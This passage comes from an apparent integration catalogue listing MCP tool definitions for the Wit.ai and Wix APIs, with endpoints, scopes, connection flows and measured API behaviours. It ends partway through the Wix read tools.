Provider key: witai. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. witai_delete_apps_by_app_id (write, destructive) — Delete an app. DELETE /apps/{app_id}. PERMANENTLY delete a Wit app with its intents, entities, traits and training data. Works only on the app this connection's token was minted in -- any other app answers 400 `Access token does not match` (measured 2026-09-16). Deleting that app also kills the credential this connection runs on. DELETE /api/v1/witai/apps/{app_id}. Scopes: api. witai_delete_apps_by_app_id_tags_by_tag_name (write, destructive) — Delete an app version. DELETE /apps/{app_id}/tags/{tag_name}. Remove a saved version tag. The app's live state is untouched. DELETE /api/v1/witai/apps/{app_id}/tags/{tag_name}. Scopes: api. witai_delete_entities_by_entity_name (write, destructive) — Delete an entity. DELETE /entities/{entity_name}. Remove an entity, its roles, keywords and synonyms from the app. DELETE /api/v1/witai/entities/{entity_name}. Scopes: api. witai_delete_entities_by_entity_name_by_role_name (write, destructive) — Delete an entity role. DELETE /entities/{entity_name}:{role_name}. Remove one ROLE from an entity. The colon in the path is wit.ai's own spelling, not a defect: pywit's `delete_role` builds exactly `/entities/<entity>:<role>`, and measured 2026-09-16 it answered 200 `{"deleted":"<entity>:<role>"}`. Deleting an entity's LAST role deletes the entity with it. DELETE /api/v1/witai/entities/{entity_name}:{role_name}. Scopes: api. witai_delete_entities_by_entity_name_keywords_by_keyword_name (write, destructive) — Delete a keyword from an entity. DELETE /entities/{entity_name}/keywords/{keyword_name}. Remove one keyword and all of its synonyms. DELETE /api/v1/witai/entities/{entity_name}/keywords/{keyword_name}. Scopes: api. witai_delete_entities_by_entity_name_keywords_by_keyword_name_synonyms_by_synonym_name (write, destructive) — Delete a synonym from a keyword. DELETE /entities/{entity_name}/keywords/{keyword_name}/synonyms/{synonym_name}. Remove one spelling from a keyword, leaving the keyword itself. DELETE /api/v1/witai/entities/{entity_name}/keywords/{keyword_name}/synonyms/{synonym_name}. Scopes: api. witai_delete_intents_by_intent_name (write, destructive) — Delete an intent. DELETE /intents/{intent_name}. Remove an intent from the app. Utterances trained on it lose their label; the app retrains. DELETE /api/v1/witai/intents/{intent_name}. Scopes: api. witai_delete_utterances (write, destructive) — Delete training utterances. DELETE /utterances. Remove sentences from the app's training set. The body is a JSON ARRAY of `{text}` objects -- the utterances are named in the BODY, not the path. DELETE /api/v1/witai/utterances. Scopes: api. witai_get_apps (read) — List apps. GET /apps. Every Wit app on the account this token's app belongs to. `limit` is REQUIRED -- measured 2026-09-16, omitting it answers 400 `{"code":"bad-request","error":"Invalid limit"}`, which is a 400 that is NOT an auth failure. Only the entry with `is_app_for_token: true` can be written to by this connection. GET /api/v1/witai/apps. Scopes: api. witai_get_apps_by_app_id (read) — Get an app. GET /apps/{app_id}. One app's settings and training status. GET /api/v1/witai/apps/{app_id}. Scopes: api. witai_get_apps_by_app_id_tags (read) — List app versions. GET /apps/{app_id}/tags. The app's saved version tags. Measured 2026-09-16: wit.ai answers an array of ARRAYS -- one inner array per version lineage. GET /api/v1/witai/apps/{app_id}/tags. Scopes: api. witai_get_apps_by_app_id_tags_by_tag_name (read) — Get an app version. GET /apps/{app_id}/tags/{tag_name}. One saved version tag. The path segment is the tag's NAME: measured 2026-09-16 the tag object carries `name` and no id at all, and GET, PUT and DELETE all resolve the same name. pywit spells this parameter `tag_id` here and `tag_name` on the PUT and DELETE; this build uses `tag_name` throughout. GET /api/v1/witai/apps/{app_id}/tags/{tag_name}. Scopes: api. witai_get_entities (read) — List entities. GET /entities. Every entity in the app, including the Wit built-ins it uses, as `{id, name}`. GET /api/v1/witai/entities. Scopes: api. witai_get_entities_by_entity_name (read) — Get an entity. GET /entities/{entity_name}. One entity with its roles, lookup strategies and keyword list. GET /api/v1/witai/entities/{entity_name}. Scopes: api. witai_get_export (read) — Export the app. GET /export. Ask wit.ai for a download link to a ZIP of the app's whole definition. The BYTES are not fetched: the result is wit.ai's own `uri`, a short-lived PRE-SIGNED link on Meta's CDN that needs no credential and expires -- treat it as sensitive and fetch it promptly. GET /api/v1/witai/export. Scopes: api. witai_get_intents (read) — List intents. GET /intents. Every intent in the app, as `{id, name}`. Also the connection's health probe. GET /api/v1/witai/intents. Scopes: api. witai_get_intents_by_intent_name (read) — Get an intent. GET /intents/{intent_name}. One intent and the entities associated with it. GET /api/v1/witai/intents/{intent_name}. Scopes: api. witai_get_language (read) — Detect the language of a sentence. GET /language. Return the locales wit.ai believes a sentence is written in, with a confidence for each. Independent of the app's training. GET /api/v1/witai/language. Scopes: api. witai_get_message (read) — Extract meaning from a sentence. GET /message. Run the app's trained model over one sentence and return the intents, entities and traits it detects. This is the app's main inference call and the only text one; the audio siblings (/speech, /dictation, /converse) are not available as tools. GET /api/v1/witai/message. Scopes: api. witai_get_traits (read) — List traits. GET /traits. Every trait in the app, as `{id, name}`. GET /api/v1/witai/traits. Scopes: api. witai_get_traits_by_trait_name (read) — Get a trait. GET /traits/{trait_name}. One trait with its possible values. GET /api/v1/witai/traits/{trait_name}. Scopes: api. witai_get_utterances (read) — List training utterances. GET /utterances. The app's training set, with each sentence's intent, entity spans and traits. `limit` is REQUIRED. GET /api/v1/witai/utterances. Scopes: api. witai_post_apps (write) — Create an app. POST /apps. Create a new Wit app on this account and return its id. WIT.AI ALSO RETURNS THE NEW APP'S SERVER ACCESS TOKEN, and this connector REMOVES it before the result is returned -- a live credential in a tool result would reach every transcript and log downstream. Copy the new app's token from its Settings page in the Wit.ai console when you connect it. POST /api/v1/witai/apps. Scopes: api. witai_post_apps_by_app_id_tags (write) — Save an app version. POST /apps/{app_id}/tags. Freeze the app's current state under a version tag, which GET /message can then run with its `tag` parameter. Measured 2026-09-16: while the app is training this answers 400 `Please save a version after training is done` -- wait for GET /apps/{app_id} to report `training_status: done`. POST /api/v1/witai/apps/{app_id}/tags. Scopes: api. witai_post_entities (write) — Create an entity. POST /entities. Add an entity to the app. Wit.ai names are lowercase, and a name a Wit built-in already uses is prefixed `wit$` (for example `wit$location`). POST /api/v1/witai/entities. Scopes: api. witai_post_entities_by_entity_name_keywords (write) — Add a keyword to an entity. POST /entities/{entity_name}/keywords. Append one keyword, with its synonyms, to a keyword-lookup entity. POST /api/v1/witai/entities/{entity_name}/keywords. Scopes: api. witai_post_entities_by_entity_name_keywords_by_keyword_name_synonyms (write) — Add a synonym to a keyword. POST /entities/{entity_name}/keywords/{keyword_name}/synonyms. Append one more spelling that resolves to an existing keyword. POST /api/v1/witai/entities/{entity_name}/keywords/{keyword_name}/synonyms. Scopes: api. witai_post_event (write) — Send a Composer event. POST /event. Advance a Wit Composer flow by one turn: the session is named in the query string and the caller's message in the body. MEASURED 2026-09-16 -- against an app with NO Composer flow configured, wit.ai answers HTTP 500 `{"code":"wit"}` to node-wit's own body shape, so this tool is only usable on an app whose Composer flow has been built in the Wit.ai console. POST /api/v1/witai/event. Scopes: api. witai_post_intents (write) — Create an intent. POST /intents. Add an intent to the app. Wit.ai names are lowercase, and a name a Wit built-in already uses is prefixed `wit$` (for example `wit$location`). POST /api/v1/witai/intents. Scopes: api. witai_post_traits (write) — Create a trait. POST /traits. Add a trait and its values to the app. Wit.ai names are lowercase, and a name a Wit built-in already uses is prefixed `wit$` (for example `wit$location`). POST /api/v1/witai/traits. Scopes: api. witai_post_traits_by_trait_name_values (write) — Add a value to a trait. POST /traits/{trait_name}/values. Append one more possible value to an existing trait. POST /api/v1/witai/traits/{trait_name}/values. Scopes: api. witai_post_utterances (write) — Train on utterances. POST /utterances. Add annotated sentences to the app's training set and schedule a retrain. The body is a JSON ARRAY. Every intent, entity and trait named in it must already exist. POST /api/v1/witai/utterances. Scopes: api. witai_put_apps_by_app_id (write) — Update an app. PUT /apps/{app_id}. Change an app's name, language, privacy or timezone. Only fields you send are changed. Works only on the app this connection's token was minted in -- any other app answers 400 `Access token does not match`. PUT /api/v1/witai/apps/{app_id}. Scopes: api. witai_put_apps_by_app_id_tags_by_tag_name (write) — Update an app version. PUT /apps/{app_id}/tags/{tag_name}. Rename a version tag, change its description, or move it onto another version. PUT /api/v1/witai/apps/{app_id}/tags/{tag_name}. Scopes: api. witai_put_entities_by_entity_name (write) — Update an entity. PUT /entities/{entity_name}. REPLACE an entity's definition. The body is the whole new entity, not a patch: a field left out is cleared, and `name` renames it. Measured 2026-09-16 -- sending one role replaced the entity's role list entirely. PUT /api/v1/witai/entities/{entity_name}. Scopes: api. ================================================================================ ## Wix URL: https://www.agenticfabriq.com/integrations/wix Section: Integrated Tools Wix — 585 MCP tools Provider key: wix. Scopes: SCOPE.ACC-DC-OS.READ-SITE, SCOPE.BOOKINGS.CONFIGURATION, SCOPE.CATEGORIES.CATEGORY_ITEM_WRITE, SCOPE.CATEGORIES.CATEGORY_READ, SCOPE.CATEGORIES.CATEGORY_WRITE, SCOPE.DC-BLOG.MANAGE-BLOG, SCOPE.DC-BLOG.READ-BLOGS, SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS, SCOPE.DC-BOOKINGS.MANAGE-EXTERNAL-CALENDARS, SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC, SCOPE.DC-BOOKINGS.READ-BOOKINGS-SENSITIVE, SCOPE.DC-BOOKINGS.READ-CALENDAR, SCOPE.DC-BOOKINGS.READ-CALENDAR-WITH-PARTICIPANTS, SCOPE.DC-CONTACTS.MANAGE-CONTACT-ATTACHMENTS, SCOPE.DC-CONTACTS.MANAGE-CONTACTS, SCOPE.DC-CONTACTS.MANAGE-EX-FIELDS, SCOPE.DC-CONTACTS.MANAGE-LABELS, SCOPE.DC-CONTACTS.READ-CONTACTS, SCOPE.DC-ECOM-MEGA.MANAGE-ECOM, SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS, SCOPE.DC-EVENTS.MANAGE-EVENTS, SCOPE.DC-EVENTS.MANAGE-GUEST-LIST, SCOPE.DC-EVENTS.MANAGE-ORDERS, SCOPE.DC-EVENTS.MANAGE-POLICIES, SCOPE.DC-EVENTS.MANAGE-TICKET-DEF, SCOPE.DC-EVENTS.READ-BASIC-ORDERS, SCOPE.DC-EVENTS.READ-EVENTS, SCOPE.DC-EVENTS.READ-GUEST-LIST, SCOPE.DC-EVENTS.READ-POLICIES, SCOPE.DC-MEMBERS.MANAGE-ABOUT, SCOPE.DC-MEMBERS.MANAGE-ACTIVITY-COUNTERS, SCOPE.DC-MEMBERS.MANAGE-MEMBERS, SCOPE.DC-MEMBERS.READ-ACTIVITY-COUNTERS, SCOPE.DC-MEMBERS.READ-FOLLOWERS, SCOPE.DC-MEMBERS.READ-MEMBERS, SCOPE.DC-STORES.MANAGE-ORDERS, SCOPE.DC-STORES.READ-ORDERS, SCOPE.ECOM.DRAFT-ORDERS, SCOPE.ECOM.READ-CARTS-V2, SCOPE.ECOM.READ-CARTS-V2_LIMITED, SCOPE.ECOM.WRITE-CARTS-V2, SCOPE.ECOM.WRITE-CARTS-V2_LIMITED, SCOPE.EVENTS.EVENTS-CHECKOUT, SCOPE.EVENTS.MANAGE-EVENTS, SCOPE.FORMS.EDIT-FORM, SCOPE.FORMS.MANAGE-SUBMISSIONS, SCOPE.FORMS.VIEW-FORM, SCOPE.STORES.BRAND_READ, SCOPE.STORES.BRAND_WRITE, SCOPE.STORES.CATALOG_READ_LIMITED, SCOPE.STORES.CUSTOMIZATION_READ, SCOPE.STORES.CUSTOMIZATION_WRITE, SCOPE.STORES.INFO_SECTION_READ, SCOPE.STORES.INFO_SECTION_WRITE, SCOPE.STORES.INVENTORY_ITEM_READ, SCOPE.STORES.INVENTORY_ITEM_WRITE, SCOPE.STORES.LOCATION_READ, SCOPE.STORES.PRODUCT_READ, SCOPE.STORES.PRODUCT_WRITE, SCOPE.STORES.RIBBON_READ, SCOPE.STORES.RIBBON_WRITE. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. wix_delete_api_bookings_v2_services_by_serviceid (write, destructive) — Delete Service via DELETE /_api/bookings/v2/services/{serviceId} DELETE /api/v1/wix/_api/bookings/v2/services/{serviceId}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_delete_blog_v3_bulk_draft_posts (write, destructive) — Bulk Delete Draft Posts via DELETE /blog/v3/bulk/draft-posts DELETE /api/v1/wix/blog/v3/bulk/draft-posts. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_delete_blog_v3_categories_by_categoryid (write, destructive) — Delete Category via DELETE /blog/v3/categories/{categoryId} DELETE /api/v1/wix/blog/v3/categories/{categoryId}. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_delete_blog_v3_draft_posts_by_draftpostid (write, destructive) — Delete Draft Post via DELETE /blog/v3/draft-posts/{draftPostId} DELETE /api/v1/wix/blog/v3/draft-posts/{draftPostId}. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_delete_blog_v3_draft_posts_trash_bin_by_draftpostid (write, destructive) — Remove From Trash Bin via DELETE /blog/v3/draft-posts/trash-bin/{draftPostId} DELETE /api/v1/wix/blog/v3/draft-posts/trash-bin/{draftPostId}. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_delete_bookings_attendance_v2_attendance_by_attendanceid (write, destructive) — Delete Attendance via DELETE /bookings/attendance/v2/attendance/{attendanceId} DELETE /api/v1/wix/bookings/attendance/v2/attendance/{attendanceId}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_delete_bookings_v1_booking_policies_by_bookingpolicyid (write, destructive) — Delete Booking Policy via DELETE /bookings/v1/booking-policies/{bookingPolicyId} DELETE /api/v1/wix/bookings/v1/booking-policies/{bookingPolicyId}. Scopes: SCOPE.BOOKINGS.CONFIGURATION. wix_delete_bookings_v1_serviceoptionsandvariants_by_serviceoptionsandvariantsid (write, destructive) — Delete Service Options And Variants via DELETE /bookings/v1/serviceOptionsAndVariants/{serviceOptionsAndVariantsId} DELETE /api/v1/wix/bookings/v1/serviceOptionsAndVariants/{serviceOptionsAndVariantsId}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_delete_bookings_v1_staff_members_by_staffmemberid (write, destructive) — Delete Staff Member via DELETE /bookings/v1/staff-members/{staffMemberId} DELETE /api/v1/wix/bookings/v1/staff-members/{staffMemberId}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_delete_bookings_v2_categories_by_categoryid (write, destructive) — Delete Category via DELETE /bookings/v2/categories/{categoryId} DELETE /api/v1/wix/bookings/v2/categories/{categoryId}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_delete_bookings_v2_resources_by_resourceid (write, destructive) — Delete Resource via DELETE /bookings/v2/resources/{resourceId} DELETE /api/v1/wix/bookings/v2/resources/{resourceId}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_delete_bookings_v2_resources_resource_types_by_resourcetypeid (write, destructive) — Delete Resource Type via DELETE /bookings/v2/resources/resource-types/{resourceTypeId} DELETE /api/v1/wix/bookings/v2/resources/resource-types/{resourceTypeId}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_delete_bookings_v2_staff_members_trash_bin_by_staffmemberid (write, destructive) — Remove Staff Member From Trash Bin via DELETE /bookings/v2/staff-members/trash-bin/{staffMemberId} DELETE /api/v1/wix/bookings/v2/staff-members/trash-bin/{staffMemberId}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_delete_categories_v1_categories_by_categoryid (write, destructive) — Delete Category via DELETE /categories/v1/categories/{categoryId} DELETE /api/v1/wix/categories/v1/categories/{categoryId}. Scopes: SCOPE.CATEGORIES.CATEGORY_WRITE. wix_delete_contacts_v4_attachments_by_contactid_by_attachmentid (write, destructive) — Delete Attachment via DELETE /contacts/v4/attachments/{contactId}/{attachmentId} DELETE /api/v1/wix/contacts/v4/attachments/{contactId}/{attachmentId}. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACT-ATTACHMENTS. wix_delete_contacts_v4_contacts_by_contactid (write, destructive) — Delete Contact via DELETE /contacts/v4/contacts/{contactId} DELETE /api/v1/wix/contacts/v4/contacts/{contactId}. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_delete_contacts_v4_contacts_by_contactid_labels (write, destructive) — Unlabel Contact via DELETE /contacts/v4/contacts/{contactId}/labels DELETE /api/v1/wix/contacts/v4/contacts/{contactId}/labels. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_delete_contacts_v4_extended_fields_by_key (write, destructive) — Delete Extended Field via DELETE /contacts/v4/extended-fields/{key} DELETE /api/v1/wix/contacts/v4/extended-fields/{key}. Scopes: SCOPE.DC-CONTACTS.MANAGE-EX-FIELDS. wix_delete_contacts_v4_labels_by_key (write, destructive) — Delete Label via DELETE /contacts/v4/labels/{key} DELETE /api/v1/wix/contacts/v4/labels/{key}. Scopes: SCOPE.DC-CONTACTS.MANAGE-LABELS. wix_delete_ecom_v1_abandoned_checkout_by_abandonedcheckoutid (write, destructive) — Delete Abandoned Checkout via DELETE /ecom/v1/abandoned-checkout/{abandonedCheckoutId} DELETE /api/v1/wix/ecom/v1/abandoned-checkout/{abandonedCheckoutId}. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_delete_ecom_v1_checkout_templates_by_checkouttemplateid (write, destructive) — Delete Checkout Template via DELETE /ecom/v1/checkout-templates/{checkoutTemplateId} DELETE /api/v1/wix/ecom/v1/checkout-templates/{checkoutTemplateId}. Scopes: SCOPE.DC-ECOM-MEGA.MANAGE-ECOM. wix_delete_ecom_v1_draft_orders_by_draftorderid (write, destructive) — Delete Draft Order via DELETE /ecom/v1/draft-orders/{draftOrderId} DELETE /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_delete_ecom_v1_fulfillments_by_fulfillmentid_orders_by_orderid (write, destructive) — Delete Fulfillment via DELETE /ecom/v1/fulfillments/{fulfillmentId}/orders/{orderId} DELETE /api/v1/wix/ecom/v1/fulfillments/{fulfillmentId}/orders/{orderId}. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_delete_ecom_v2_carts_by_cartid (write, destructive) — Delete Cart via DELETE /ecom/v2/carts/{cartId} DELETE /api/v1/wix/ecom/v2/carts/{cartId}. Scopes: SCOPE.ECOM.WRITE-CARTS-V2_LIMITED. wix_delete_ecom_v2_carts_current (write, destructive) — Delete Current Cart via DELETE /ecom/v2/carts/current DELETE /api/v1/wix/ecom/v2/carts/current. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_delete_events_v1_bulk_categories_events (write, destructive) — Bulk Unassign Events via DELETE /events/v1/bulk/categories/events DELETE /api/v1/wix/events/v1/bulk/categories/events. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_delete_events_v1_categories_by_categoryid (write, destructive) — Delete Category via DELETE /events/v1/categories/{categoryId} DELETE /api/v1/wix/events/v1/categories/{categoryId}. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_delete_events_v1_categories_by_categoryid_events (write, destructive) — Unassign Events via DELETE /events/v1/categories/{categoryId}/events DELETE /api/v1/wix/events/v1/categories/{categoryId}/events. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_delete_events_v1_events_by_eventid_form_controls_by_id (write, destructive) — Delete Control via DELETE /events/v1/events/{eventId}/form/controls/{id} DELETE /api/v1/wix/events/v1/events/{eventId}/form/controls/{id}. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_delete_events_v1_schedule_draft (write, destructive) — Discard Draft via DELETE /events/v1/schedule/draft DELETE /api/v1/wix/events/v1/schedule/draft. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_delete_events_v1_schedule_draft_items (write, destructive) — Delete Schedule Item via DELETE /events/v1/schedule/draft/items DELETE /api/v1/wix/events/v1/schedule/draft/items. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_delete_events_v1_staff_members_by_staffmemberid (write, destructive) — Delete Staff Member via DELETE /events/v1/staff-members/{staffMemberId} DELETE /api/v1/wix/events/v1/staff-members/{staffMemberId}. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_delete_events_v1_ticket_reservations_by_ticketreservationid (write, destructive) — Delete Ticket Reservation via DELETE /events/v1/ticket-reservations/{ticketReservationId} DELETE /api/v1/wix/events/v1/ticket-reservations/{ticketReservationId}. Scopes: SCOPE.DC-EVENTS.MANAGE-ORDERS. wix_delete_events_v1_tickets_check_in (write, destructive) — Delete Ticket Check In via DELETE /events/v1/tickets/check-in DELETE /api/v1/wix/events/v1/tickets/check-in. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. wix_delete_events_v2_policies_by_policyid (write, destructive) — Delete Policy via DELETE /events/v2/policies/{policyId} DELETE /api/v1/wix/events/v2/policies/{policyId}. Scopes: SCOPE.DC-EVENTS.MANAGE-POLICIES. wix_delete_events_v2_rsvps_by_rsvpid (write, destructive) — Delete Rsvp via DELETE /events/v2/rsvps/{rsvpId} DELETE /api/v1/wix/events/v2/rsvps/{rsvpId}. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. wix_delete_events_v3_events_by_eventid (write, destructive) — Delete Event via DELETE /events/v3/events/{eventId} DELETE /api/v1/wix/events/v3/events/{eventId}. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_delete_events_v3_ticket_definitions_by_ticketdefinitionid (write, destructive) — Delete Ticket Definition via DELETE /events/v3/ticket-definitions/{ticketDefinitionId} DELETE /api/v1/wix/events/v3/ticket-definitions/{ticketDefinitionId}. Scopes: SCOPE.DC-EVENTS.MANAGE-TICKET-DEF. wix_delete_form_schema_service_v4_forms_by_formid (write, destructive) — Delete Form via DELETE /form-schema-service/v4/forms/{formId} DELETE /api/v1/wix/form-schema-service/v4/forms/{formId}. Scopes: SCOPE.FORMS.EDIT-FORM. wix_delete_form_schema_service_v4_forms_trash_bin_by_formid (write, destructive) — Remove Form From Trash Bin via DELETE /form-schema-service/v4/forms/trash-bin/{formId} DELETE /api/v1/wix/form-schema-service/v4/forms/trash-bin/{formId}. Scopes: SCOPE.FORMS.EDIT-FORM. wix_delete_forms_v4_submissions_by_submissionid (write, destructive) — Delete Submission via DELETE /forms/v4/submissions/{submissionId} DELETE /api/v1/wix/forms/v4/submissions/{submissionId}. Scopes: SCOPE.FORMS.MANAGE-SUBMISSIONS. wix_delete_members_v1_custom_fields_applications_by_customfieldid (write, destructive) — Delete Custom Field Application via DELETE /members/v1/custom-fields-applications/{customFieldId} DELETE /api/v1/wix/members/v1/custom-fields-applications/{customFieldId}. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_delete_members_v1_custom_fields_by_id (write, destructive) — Delete Custom Field via DELETE /members/v1/custom-fields/{id} DELETE /api/v1/wix/members/v1/custom-fields/{id}. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_delete_members_v1_member_reports_members_by_memberid (write, destructive) — Delete Member Reports via DELETE /members/v1/member-reports/members/{memberId} DELETE /api/v1/wix/members/v1/member-reports/members/{memberId}. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_delete_members_v1_members_by_id (write, destructive) — Delete Member via DELETE /members/v1/members/{id} DELETE /api/v1/wix/members/v1/members/{id}. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_delete_members_v1_members_by_id_addresses (write, destructive) — Delete Member Addresses via DELETE /members/v1/members/{id}/addresses DELETE /api/v1/wix/members/v1/members/{id}/addresses. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_delete_members_v1_members_by_id_emails (write, destructive) — Delete Member Emails via DELETE /members/v1/members/{id}/emails DELETE /api/v1/wix/members/v1/members/{id}/emails. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_delete_members_v1_members_by_id_phones (write, destructive) — Delete Member Phones via DELETE /members/v1/members/{id}/phones DELETE /api/v1/wix/members/v1/members/{id}/phones. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_delete_members_v2_abouts_by_id (write, destructive) — Delete Member About via DELETE /members/v2/abouts/{id} DELETE /api/v1/wix/members/v2/abouts/{id}. Scopes: SCOPE.DC-MEMBERS.MANAGE-ABOUT. wix_delete_stores_v3_brands_by_brandid (write, destructive) — Delete Brand via DELETE /stores/v3/brands/{brandId} DELETE /api/v1/wix/stores/v3/brands/{brandId}. Scopes: SCOPE.STORES.BRAND_WRITE. wix_delete_stores_v3_customizations_by_customizationid (write, destructive) — Delete Customization via DELETE /stores/v3/customizations/{customizationId} DELETE /api/v1/wix/stores/v3/customizations/{customizationId}. Scopes: SCOPE.STORES.CUSTOMIZATION_WRITE. wix_delete_stores_v3_info_sections_by_infosectionid (write, destructive) — Delete Info Section via DELETE /stores/v3/info-sections/{infoSectionId} DELETE /api/v1/wix/stores/v3/info-sections/{infoSectionId}. Scopes: SCOPE.STORES.INFO_SECTION_WRITE. wix_delete_stores_v3_inventory_items_by_inventoryitemid (write, destructive) — Delete Inventory Item via DELETE /stores/v3/inventory-items/{inventoryItemId} DELETE /api/v1/wix/stores/v3/inventory-items/{inventoryItemId}. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_delete_stores_v3_products_by_productid (write, destructive) — Delete Product via DELETE /stores/v3/products/{productId} DELETE /api/v1/wix/stores/v3/products/{productId}. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_delete_stores_v3_ribbons_by_ribbonid (write, destructive) — Delete Ribbon via DELETE /stores/v3/ribbons/{ribbonId} DELETE /api/v1/wix/stores/v3/ribbons/{ribbonId}. Scopes: SCOPE.STORES.RIBBON_WRITE. wix_delete_v3_tags_by_tagid (write, destructive) — Delete Tag via DELETE /v3/tags/{tagId} DELETE /api/v1/wix/v3/tags/{tagId}. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_get_api_booking_fees_v1_booking_fees (read) — List Booking Fees By Booking Ids via GET /_api/booking-fees/v1/booking-fees GET /api/v1/wix/_api/booking-fees/v1/booking-fees. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-SENSITIVE. wix_get_api_booking_policy_snapshots_v1_policy_snapshots (read) — List Policy Snapshots By Booking Ids via GET /_api/booking-policy-snapshots/v1/policy-snapshots GET /api/v1/wix/_api/booking-policy-snapshots/v1/policy-snapshots. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_api_bookings_service_v2_multi_service_bookings_by_multiservicebookingid (read) — Get Multi Service Booking via GET /_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId} GET /api/v1/wix/_api/bookings-service/v2/multi_service_bookings/{multiServiceBookingId}. Scopes: SCOPE.DC-BOOKINGS.READ-CALENDAR. wix_get_api_bookings_v2_services_by_serviceid (read) — Get Service via GET /_api/bookings/v2/services/{serviceId} GET /api/v1/wix/_api/bookings/v2/services/{serviceId}. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_api_service_availability_v2_time_slots_event_by_eventid (read) — Get Event Time Slot via GET /_api/service-availability/v2/time-slots/event/{eventId} GET /api/v1/wix/_api/service-availability/v2/time-slots/event/{eventId}. Scopes: SCOPE.DC-BOOKINGS.READ-CALENDAR. wix_get_blog_v3_categories (read) — List Categories via GET /blog/v3/categories GET /api/v1/wix/blog/v3/categories. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_blog_v3_categories_by_categoryid (read) — Get Category via GET /blog/v3/categories/{categoryId} GET /api/v1/wix/blog/v3/categories/{categoryId}. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_blog_v3_categories_slugs_by_slug (read) — Get Category By Slug via GET /blog/v3/categories/slugs/{slug=**} GET /api/v1/wix/blog/v3/categories/slugs/{slug}. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_blog_v3_draft_posts (read) — List Draft Posts via GET /blog/v3/draft-posts GET /api/v1/wix/blog/v3/draft-posts. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_get_blog_v3_draft_posts_by_draftpostid (read) — Get Draft Post via GET /blog/v3/draft-posts/{draftPostId} GET /api/v1/wix/blog/v3/draft-posts/{draftPostId}. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_get_blog_v3_draft_posts_trash_bin (read) — List Deleted Draft Posts via GET /blog/v3/draft-posts/trash-bin GET /api/v1/wix/blog/v3/draft-posts/trash-bin. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. 